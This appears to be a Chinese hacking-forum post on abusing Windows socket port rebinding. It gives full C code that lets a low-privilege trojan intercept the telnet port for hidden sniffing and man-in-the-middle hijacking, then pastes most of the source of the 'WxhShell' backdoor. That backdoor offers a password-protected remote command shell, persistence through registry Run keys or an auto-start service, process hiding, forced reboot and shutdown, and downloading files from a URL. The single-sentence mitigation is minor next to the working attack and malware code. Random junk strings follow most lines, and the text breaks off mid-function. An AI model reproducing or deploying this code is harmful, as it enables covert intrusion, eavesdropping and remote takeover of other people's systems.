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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I Mv^ 9T:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [{{?e6J  
@Op8^8$`  
  saddr.sin_family = AF_INET; V.-?aXQ*  
[y{ag{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tm|lqa  
\YKh'|04  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0}^-, Q,  
zhCI+u4/qz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gOWyV@  
iP!Y4F  
  这意味着什么?意味着可以进行如下的攻击: HJ'93,  
%zelpBu+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 52["+1g\  
f C^l9CRY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A5`7o9  
DdQf %W8u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 - dOT/%Ux  
C5WCRg5&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tZ@ +18  
RYV6hp)|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /-hF<oNQ  
(O-)uC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ATzNV=2s  
3'"M31iA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %'t~e?d!  
vl5n%m H>^  
  #include 9V],X=y~  
  #include n>E*g|a  
  #include Ds G *  
  #include    !U#++Zig%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r;XQ i  
  int main() NqZRS>60v  
  { XsOOkf\_  
  WORD wVersionRequested; VBX# !K1Q  
  DWORD ret; ii;WmE&  
  WSADATA wsaData; da2[   
  BOOL val; FR}H$R7#  
  SOCKADDR_IN saddr; |g7h#F~  
  SOCKADDR_IN scaddr; 7RP_ ^Cr+  
  int err; [\b_+s)eN  
  SOCKET s; & .?HuK  
  SOCKET sc; gr 5]5u  
  int caddsize; HLe^|  
  HANDLE mt; f^)uK+:.  
  DWORD tid;   eCp|QSXE  
  wVersionRequested = MAKEWORD( 2, 2 ); nF'xV44"  
  err = WSAStartup( wVersionRequested, &wsaData ); _=L;`~=C9e  
  if ( err != 0 ) { 30_un  
  printf("error!WSAStartup failed!\n"); CJ?gjV6  
  return -1; DVhTb  
  } ` (D4gPW  
  saddr.sin_family = AF_INET; ,z1!~gIal  
   m I zBK]@^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V./w06;0  
be:phS4vz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %EGr0R(  
  saddr.sin_port = htons(23); v1C.\fL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C|f7L>qe  
  { ,GX~s5S8  
  printf("error!socket failed!\n"); Fd[h9 G  
  return -1; ,%h!%nz!  
  } [S]!+YBK  
  val = TRUE; EyPJvs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {(OIu]:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2 1~7{#  
  { z@~&Kwf\}  
  printf("error!setsockopt failed!\n"); ^v!im\ r  
  return -1;  |.C    
  } A,gx5!J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !&`\ LJ=j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +oy&OKCa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "PyWo  
)M'UASB;8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X B*}P  
  { oM<!I0"gC+  
  ret=GetLastError(); "W@XP+POAY  
  printf("error!bind failed!\n"); umjhG6  
  return -1; 3u*hT T  
  } ~pevU`}Uqc  
  listen(s,2); "XNu-_$N<a  
  while(1) tKZ&1E  
  { u<]mv  
  caddsize = sizeof(scaddr); d;~ 3P  
  //接受连接请求 vWl[l -E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vf 0fT?/K  
  if(sc!=INVALID_SOCKET) C.>  
  { T|@#w%c''  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %f(S'<DhC  
  if(mt==NULL) C ]'g:93L  
  { BF36V\  
  printf("Thread Creat Failed!\n"); e3eVvl5]  
  break; \2Og>{"U  
  } {y-2  
  } !7*(!as  
  CloseHandle(mt); uxO J3  
  } w< 65S  
  closesocket(s); 'Y!pY]Z  
  WSACleanup(); / Mo d=/e  
  return 0; kG1;]1tT#  
  }   yI8m%g%  
  DWORD WINAPI ClientThread(LPVOID lpParam) r219M)D?  
  { _BV`,`8}  
  SOCKET ss = (SOCKET)lpParam; S Pn8\2Cj  
  SOCKET sc; JI"/N`-?;b  
  unsigned char buf[4096]; :N@U[Wx0A  
  SOCKADDR_IN saddr; J/'M N  
  long num; 3ai (x1%  
  DWORD val; $n= O  
  DWORD ret; (kIz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QjA&IZEC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G02ox5X  
  saddr.sin_family = AF_INET; }:`5,b%Y_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W+gpr|R2  
  saddr.sin_port = htons(23); _>Pk8~m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i&`!|X-=R  
  { P:sAqvH6  
  printf("error!socket failed!\n"); XRa(sXA3  
  return -1; Y@Y`gF6F  
  } ll^DY hx}  
  val = 100; }^"0T-ua  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +YTx   
  { qZaO&"q  
  ret = GetLastError(); !@u&{"{`  
  return -1; cd!|Ne>fe  
  } y%4 Gp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  tPA:_  
  { {h#6z>p"u2  
  ret = GetLastError(); ~r<p@k=.#0  
  return -1; =7 VCtd/  
  } nfX12y_SXL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tBseqS3<  
  { &5u BNpH  
  printf("error!socket connect failed!\n"); _gKu8$o=-  
  closesocket(sc); 6xarYh(  
  closesocket(ss); !z MDP/V  
  return -1; >uTPjR[  
  } e*:}$u8 a  
  while(1) KAed!z9  
  { LeSHRoD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [Ct=F|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  \~>e_;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5`~mqqR5  
  num = recv(ss,buf,4096,0); vZ@g@zB4o0  
  if(num>0) :a.0he s  
  send(sc,buf,num,0); EMlIxpCn:  
  else if(num==0) !\;:36B#6  
  break; d&jjWlHgEN  
  num = recv(sc,buf,4096,0); "Sjr_! u  
  if(num>0) 4T`&Sl  
  send(ss,buf,num,0); 6NX3"i0 eT  
  else if(num==0) )TU<:V  
  break; z(me@P!D~  
  } T%(C-Quh  
  closesocket(ss); Q[PK`*2)  
  closesocket(sc); ]p]UTCo!'  
  return 0 ; 9tK>gwb  
  } d~@q%-`lA  
d(7NO;S8  
0xCz'mJ  
========================================================== `T"rG }c  
I@\+l6&#;  
下边附上一个代码,,WXhSHELL J8<J8x4  
3b!,D  
========================================================== | o0RP|l  
mS%4gx~~_n  
#include "stdafx.h" l Y'N4x7n  
3c#s|qW  
#include <stdio.h> nt ,7u(  
#include <string.h>  c%f_.MiU  
#include <windows.h> #@qN8J}R  
#include <winsock2.h> 2f{T6=SK  
#include <winsvc.h> uzBz}<M=  
#include <urlmon.h> t-7og;^8k  
9+qOP>m   
#pragma comment (lib, "Ws2_32.lib") \+nGOvM  
#pragma comment (lib, "urlmon.lib") /ty?<24ko  
gfy19c 9  
#define MAX_USER   100 // 最大客户端连接数 2e1]}wlK  
#define BUF_SOCK   200 // sock buffer Br5o7(AE  
#define KEY_BUFF   255 // 输入 buffer TDNf)Mm  
-rSIBc:$8  
#define REBOOT     0   // 重启 9V 0}d2d  
#define SHUTDOWN   1   // 关机 7G9 3,dJ  
B_^]C9C|  
#define DEF_PORT   5000 // 监听端口 edvFQ#,d  
OqUr9?+  
#define REG_LEN     16   // 注册表键长度 L":bI&V?:  
#define SVC_LEN     80   // NT服务名长度 >v+jh(^  
/ T c=  
// 从dll定义API Ev9 >@~^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iL]'y\?lv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /)>S<X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m:+8J,jW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pyZ9OA!PD  
.Y*f2A.v  
// wxhshell配置信息 r8/l P}(F  
struct WSCFG { ?1I GYyu!  
  int ws_port;         // 监听端口 ^%>kO,  
  char ws_passstr[REG_LEN]; // 口令 HU;#XU1  
  int ws_autoins;       // 安装标记, 1=yes 0=no y 9l*m~  
  char ws_regname[REG_LEN]; // 注册表键名 |L6&Gf]#5  
  char ws_svcname[REG_LEN]; // 服务名 g"_C,XN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uh6 '$0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g);^NAA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \2C`<h$fN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ms^dRe)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iw9Q18:I}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [bz T& o  
`~BZ1)@  
}; 'lz "2@4{  
b~m2tC=AW  
// default Wxhshell configuration +IFw_3$  
struct WSCFG wscfg={DEF_PORT, hT g<*  
    "xuhuanlingzhe", H^%lDz  
    1, 9xI GV!  
    "Wxhshell", dl-l"9~;  
    "Wxhshell", H}}$V7]^),  
            "WxhShell Service", b*kfWG-6t  
    "Wrsky Windows CmdShell Service", (!L5-8O  
    "Please Input Your Password: ", .Pndx%X9s  
  1, 7, } $u  
  "http://www.wrsky.com/wxhshell.exe", )!bUR\  
  "Wxhshell.exe" Sjj>#}U  
    }; l|2D/K5  
DOS0;^f  
// 消息定义模块 - YqYcer  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H6*^Ga  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BaI $S>/Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e}Vw!w  
char *msg_ws_ext="\n\rExit."; +n0r0:z0  
char *msg_ws_end="\n\rQuit."; `4?~nbz  
char *msg_ws_boot="\n\rReboot..."; uA t V".  
char *msg_ws_poff="\n\rShutdown..."; 82{&# Vc  
char *msg_ws_down="\n\rSave to "; hXIro  
))kF<A_MK  
char *msg_ws_err="\n\rErr!"; <*ZJaBwWU~  
char *msg_ws_ok="\n\rOK!"; ^n Jyo:DO;  
+j_ ;(Gw7  
char ExeFile[MAX_PATH]; kl!wVLE  
int nUser = 0; PX: '/{V  
HANDLE handles[MAX_USER]; SvM6iZ]  
int OsIsNt; @}p2aV59  
!)"%),>}o  
SERVICE_STATUS       serviceStatus; 94uN I8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H={DB  
N[]Hc  
// 函数声明 z<sg0K8z63  
int Install(void); Mv 544>:  
int Uninstall(void); :NHH Dl  
int DownloadFile(char *sURL, SOCKET wsh); ;h6v@)#GX  
int Boot(int flag); ^H{R+}  
void HideProc(void); o./.Q9e7  
int GetOsVer(void); l& 4,v  
int Wxhshell(SOCKET wsl); Ars687WB  
void TalkWithClient(void *cs); KH)D 08  
int CmdShell(SOCKET sock); Hgeg@RP Q  
int StartFromService(void); =L%DX#8  
int StartWxhshell(LPSTR lpCmdLine); fH`P[^N  
!-2R;yo12  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #/"8F O%~p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O ,rwP  
T{V/+RM  
// 数据结构和表定义 bmNq[}  
SERVICE_TABLE_ENTRY DispatchTable[] = />¬$>  
{ XBd>tdEP  
{wscfg.ws_svcname, NTServiceMain},  S( S#  
{NULL, NULL} ] 2 #  
}; S)QAXjH  
EXP%Mk/  
// 自我安装 .)}@J5 P)  
int Install(void) Fc~'TBf,,`  
{ rG#Z=*b%  
  char svExeFile[MAX_PATH]; }X x(^Zh  
  HKEY key; 0TfS=scT  
  strcpy(svExeFile,ExeFile); 4S~o-`&W  
O^/Maa/D1  
// 如果是win9x系统,修改注册表设为自启动 j4?@(u9;j  
if(!OsIsNt) { aQI^^$9g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O: @}lK+H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rl9. ]~  
  RegCloseKey(key); kb[P\cRa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ W2fd\4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1;Pv0&[q/  
  RegCloseKey(key); ??n*2s@t  
  return 0; d,8mY/S>w  
    } 'n<iU st  
  } 8ElKD{.BU8  
} &/Ro lIHF  
else { [((;+B  
+C1QY'>I  
// 如果是NT以上系统,安装为系统服务 >^Se'SE]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jV(6>BAI_  
if (schSCManager!=0) p>_;^&>&  
{ RI68%ZoL  
  SC_HANDLE schService = CreateService m*$|GW9  
  ( MxyN\Mq'  
  schSCManager, *3T| M@Y  
  wscfg.ws_svcname, _+ .\@{c  
  wscfg.ws_svcdisp, W8lx~:v  
  SERVICE_ALL_ACCESS, L`th7d"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ]xguBh]  
  SERVICE_AUTO_START, 1? FrJ6 V  
  SERVICE_ERROR_NORMAL, `DT3x{}_S  
  svExeFile, '#(v=|J  
  NULL, )sho*;_o  
  NULL, ^ wY[3"{  
  NULL, C> [ Uvc  
  NULL, 7\ nf:.  
  NULL |+`c3*PV  
  ); CgzD$`~  
  if (schService!=0) Q5%#^ZdsTd  
  { CRbdAqofV  
  CloseServiceHandle(schService); V/LQ<Yke  
  CloseServiceHandle(schSCManager); 9b?SHzAa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xn~I=Ml d  
  strcat(svExeFile,wscfg.ws_svcname); kD bhu^~B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0oEOre3^%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c\% r38  
  RegCloseKey(key); >Z1q j>  
  return 0; v\`9;QV5  
    } t%530EB3  
  } Fq9Q+RNMZL  
  CloseServiceHandle(schSCManager); ",{ibh)g$`  
} F#|: `$ t  
} 5MzFUv0)  
>a3p >2  
return 1; 3BpZX`l*p  
} ={hX}"*D  
.rPn5D Y  
// 自我卸载 sl2@umR7%(  
int Uninstall(void) [b:e:P 2  
{ (|wz7 AY2  
  HKEY key; BcD&sQ2F  
c$wsH25KH8  
if(!OsIsNt) { fvb=#58N_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b,KcBQ.  
  RegDeleteValue(key,wscfg.ws_regname);  jq08=  
  RegCloseKey(key); <, 3ROo76  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e L.(p k^<  
  RegDeleteValue(key,wscfg.ws_regname); ~{}#)gGU  
  RegCloseKey(key); f@co<iA  
  return 0; y,pZTlE  
  } }-~T<egF  
} gl).cIpw  
} eSW{Cb  
else { k<+0o))  
l|5fE1K9U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vf4{$Oag  
if (schSCManager!=0) 5JhdV nT_  
{ _j_x1.l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fb  da  
  if (schService!=0) oq*N_mP0  
  { z4E|Ai  
  if(DeleteService(schService)!=0) { 6ksAc%|5  
  CloseServiceHandle(schService); ^9-&o  
  CloseServiceHandle(schSCManager); S>.F_Jl  
  return 0; V(Yxh+KU  
  } ](F#`zUQ  
  CloseServiceHandle(schService); 0kDK~iT  
  }  X\}Y  
  CloseServiceHandle(schSCManager); P=1I<Pew  
} N$[$;Fm:  
} 7H>@iI"?  
=+w*gDr  
return 1; ^*~;k|;&  
} 0P>OJYFr'  
wM_c48|d  
// 从指定url下载文件 fIGFHZy,  
int DownloadFile(char *sURL, SOCKET wsh)  lWm'  
{ Z/rTVAs@r  
  HRESULT hr; n&MG7`]N  
char seps[]= "/"; ()sTb>L  
char *token; l^J75$7  
char *file; q.2(OP>(  
char myURL[MAX_PATH]; $BmmNn#  
char myFILE[MAX_PATH]; PA w-6;  
-CH`>  
strcpy(myURL,sURL); W(RF n`g\  
  token=strtok(myURL,seps); L !4t[hhe=  
  while(token!=NULL) fJZp?e"  
  { ceGa([#!\_  
    file=token; Q !qrNa6  
  token=strtok(NULL,seps); zY+Fl~$S  
  } lt$zA%`odc  
:R):b  
GetCurrentDirectory(MAX_PATH,myFILE); aQ j*KMc  
strcat(myFILE, "\\"); W0jZOP5_.$  
strcat(myFILE, file); H&b3{yOa  
  send(wsh,myFILE,strlen(myFILE),0);  htY=w}>  
send(wsh,"...",3,0); x_|F|9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %7`f{|.  
  if(hr==S_OK) juBw5U<  
return 0; 6a}"6d/sTL  
else (wmBjQ]B<  
return 1; Y,8KPg@W  
fQ+VT|jzx  
} x( mE<UQN  
-)!> M>=s  
// 系统电源模块 B~'MBBD"  
int Boot(int flag) ;DnUQj  
{ 7 1W5.!  
  HANDLE hToken; 7nzGAz_W  
  TOKEN_PRIVILEGES tkp; 9s +z B  
m\ /(w_/?  
  if(OsIsNt) { t]1ubt2W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @+U,Nzd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4(?G6y)  
    tkp.PrivilegeCount = 1; +&KQ28r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zm9TvoC%}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W&:[r/8wA  
if(flag==REBOOT) { b4Y8N"hL%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q ^rl)  
  return 0; x}$e}8|8YL  
} 5sde  
else { a=GM[{og  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8|twV35  
  return 0; Hg}I]!B  
} vAP{;Q0 i  
  } yj@tV2  
  else { !}3,B28  
if(flag==REBOOT) { :<#`_K~'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZA#y)z8!E  
  return 0; P4 ul[zZ  
} Jeqxspn T  
else { J3S&3+2G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;)DzC c/  
  return 0; Ccfwax+  
} zvv:dC/p<  
} Y ?]G}5  
bm&87  
return 1; *.y'(tj[  
} #:3r4J%+~  
1H:ea7YVU  
// win9x进程隐藏模块 d&:H&o)T!  
void HideProc(void) }\v^+scD  
{ w#PZu+  
@kngI7=E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7INk_2  
  if ( hKernel != NULL ) urY`^lX~  
  { h\ ,5/ )Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nYv#4*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); twqFs  
    FreeLibrary(hKernel); D#sf i,O  
  } (b/d0HCND  
snk$^  
return; Oo%!>!Lt,  
} bLG]Wa  
Ph7pd  
// 获取操作系统版本 9n}A ^  
int GetOsVer(void) 7{BnXN[  
{ {V2bU}5 [  
  OSVERSIONINFO winfo; $"fo^?d/s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y~#\#w {  
  GetVersionEx(&winfo); `6 Y33bQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2tr :xi@  
  return 1; ZL91m`r  
  else UC9{m252  
  return 0; oW'PO Ar  
} eYP=T+  
%<U{K;  
// 客户端句柄模块 nlfPg-78B+  
int Wxhshell(SOCKET wsl) CV^0.  
{ hYvNcOSks  
  SOCKET wsh; Jirct,k  
  struct sockaddr_in client; #4y,a_)  
  DWORD myID; 2,AaP*,  
g37q/nEv  
  while(nUser<MAX_USER) N~g%wf@w  
{ ,RK3eQ  
  int nSize=sizeof(client); _om[VKJd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A^pW]r=Xtk  
  if(wsh==INVALID_SOCKET) return 1; %_tk7x  
#\b ;2>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EhXiv#CZ  
if(handles[nUser]==0) b[g.}'^yht  
  closesocket(wsh);  rA#s   
else IxP^i{/1?  
  nUser++; A7'bNd6f9  
  } } J;~P 9Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TSXTc'  
,Oi^ySn  
  return 0; }N|\   
} " dT>KQ  
*tG11gR,&  
// 关闭 socket p"KV*D9b  
void CloseIt(SOCKET wsh) e`ex]py<C  
{ $nFAu}%C  
closesocket(wsh); U?EG6t  
nUser--; I7bi@t  
ExitThread(0); VKf6|ae  
} U9F6d!:L7A  
wi BuEaUkW  
// 客户端请求句柄 28+HKbgK  
void TalkWithClient(void *cs) ~y@& }  
{ -R74/GBg  
!=knppY  
  SOCKET wsh=(SOCKET)cs; y^YVo^3  
  char pwd[SVC_LEN]; ~,G]glu8  
  char cmd[KEY_BUFF]; }#|2z}!  
char chr[1]; }+JLn%H)  
int i,j; ]gHLcr3  
h {H]xe[Q  
  while (nUser < MAX_USER) { [U']kt  
85 Dm8~  
if(wscfg.ws_passstr) { (ic@3:xR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7H?! RYrx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); No~ 6s.H  
  //ZeroMemory(pwd,KEY_BUFF); T"B8;|  
      i=0; i2U/RXu  
  while(i<SVC_LEN) { a^x  0 l  
-rRz@Cr  
  // 设置超时 _Ua PwJ  
  fd_set FdRead; W7T" d4  
  struct timeval TimeOut; P8u"T!G  
  FD_ZERO(&FdRead); vS2(Q0+TZi  
  FD_SET(wsh,&FdRead); pdy+h{]3  
  TimeOut.tv_sec=8; Qv74?B@  
  TimeOut.tv_usec=0; z(r" JNO@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /:^tc/5U ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W >Kp\tD  
78gob&p?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6eOxF8  
  pwd=chr[0]; s?HsUD$b  
  if(chr[0]==0xd || chr[0]==0xa) { sbpu qOL  
  pwd=0; (s.o  
  break; )y5iH){ !  
  } y.%i  
  i++; z[%[bs2{  
    } B piEAwh  
x[Hhj'  
  // 如果是非法用户,关闭 socket cFe V?a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !(}OBZ[*  
} E:%>0FE  
-<_+-t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0VG^GKmx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &C\=!r0j^  
OrzM hQaf  
while(1) { qNhH%tYQ  
JHHb|  
  ZeroMemory(cmd,KEY_BUFF); '! #On/  
g521Wdtnn  
      // 自动支持客户端 telnet标准   JB641nv  
  j=0; oXvdR(Sb^  
  while(j<KEY_BUFF) { #vnefIcBf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /abmjV0  
  cmd[j]=chr[0]; Au~+Zz|mQ  
  if(chr[0]==0xa || chr[0]==0xd) { -Cg`x=G;z  
  cmd[j]=0; ?=TL2"L  
  break; I=Gr^\x=  
  } ,M| QN*  
  j++; pW`ntE#L  
    } CD*f4I#d  
721{Ga4~S  
  // 下载文件 ,ZsYXW  
  if(strstr(cmd,"http://")) { nYmf(DV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6tDg3`w>  
  if(DownloadFile(cmd,wsh)) oUnq"]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " 6 uTo0  
  else {Q}!NkF 1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m T>b ;  
  } f$~ _FX  
  else { o6`Y7,]  
^Tb}]aHg  
    switch(cmd[0]) { [i2A{(x  
  1jR=h7^=  
  // 帮助 Lg\8NtP   
  case '?': { -6.i\ B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .aVHd<M  
    break; !y[}|  
  } P2A]qX  
  // 安装 !Qj)tS#Az  
  case 'i': { KqT#zj  
    if(Install()) v9X7-GJ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [a#?}((  
    else jV(xYA3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }z9I`6[  
    break; v Ie=wf~D`  
    } Y^*Lh/:h  
  // 卸载 ?0 KiR?  
  case 'r': { :pL1F)-*  
    if(Uninstall()) o(v"?Y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f }evw K[S  
    else (1saof *p%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >x|A7iWn{,  
    break; '7RR2f>V  
    } TsFV ;Sl3  
  // 显示 wxhshell 所在路径 E-BOIy,  
  case 'p': { : 9djMsd  
    char svExeFile[MAX_PATH]; e{q p!N1!  
    strcpy(svExeFile,"\n\r"); [N0/">c  
      strcat(svExeFile,ExeFile); iZDb.9@&t  
        send(wsh,svExeFile,strlen(svExeFile),0); S20 nk.x  
    break; F1{?]>G  
    } ( FjsN5  
  // 重启 .&* ({UM  
  case 'b': { k=ior  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;:8jxkx6%  
    if(Boot(REBOOT)) !DY2{Wb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vL^:f["  
    else { FEm1^X#]  
    closesocket(wsh); On2Vf*G@|  
    ExitThread(0); )|59FOWg  
    } pDq^W @Rq  
    break; O;&yA<  
    } Kc-A-P &Ry  
  // 关机 fed[^wW  
  case 'd': { $Nt]${0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mTb2d?NS  
    if(Boot(SHUTDOWN)) 3LmBV\["  
